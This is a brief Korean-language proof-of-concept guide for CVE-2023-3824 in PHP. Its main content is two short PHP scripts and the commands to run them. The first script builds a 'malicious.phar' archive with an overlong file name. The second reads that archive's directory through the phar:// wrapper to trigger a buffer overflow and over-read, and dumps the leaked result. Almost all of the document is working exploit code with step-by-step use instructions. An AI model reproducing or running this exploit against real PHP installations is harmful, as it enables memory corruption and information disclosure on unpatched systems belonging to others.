PHP 악성 Phar 파일 PoC (CVE-2023-3824)

설명

이 개념 증명(PoC)은 PHP에서 악성 Phar 파일을 생성하고 버퍼 오버플로우 취약점을 트리거하는 방법을 보여줍니다.

사용법

악성 Phar 파일 생성

1. 새로운 PHP 파일(예: create_phar.php)을 생성하고 다음 코드를 추가합니다:

<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>

PHP 스크립트를 실행하여 악성 Phar 파일을 생성합니다: 코드 복사

php create_phar.php

버퍼 오버플로우 트리거

다른 PHP 파일(예: trigger_overflow.php)을 생성하고 다음 코드를 추가합니다:

<?php
$handle = opendir("phar://./malicious.phar");
$x = readdir($handle);
closedir($handle);

var_dump($x);
?>

PHP 스크립트를 실행하여 버퍼 오버플로우를 트리거합니다: 코드 복사

php trigger_overflow.php

var_dump($x) 문은 버퍼 오버플로우 및 오버리드 작업의 결과를 출력합니다.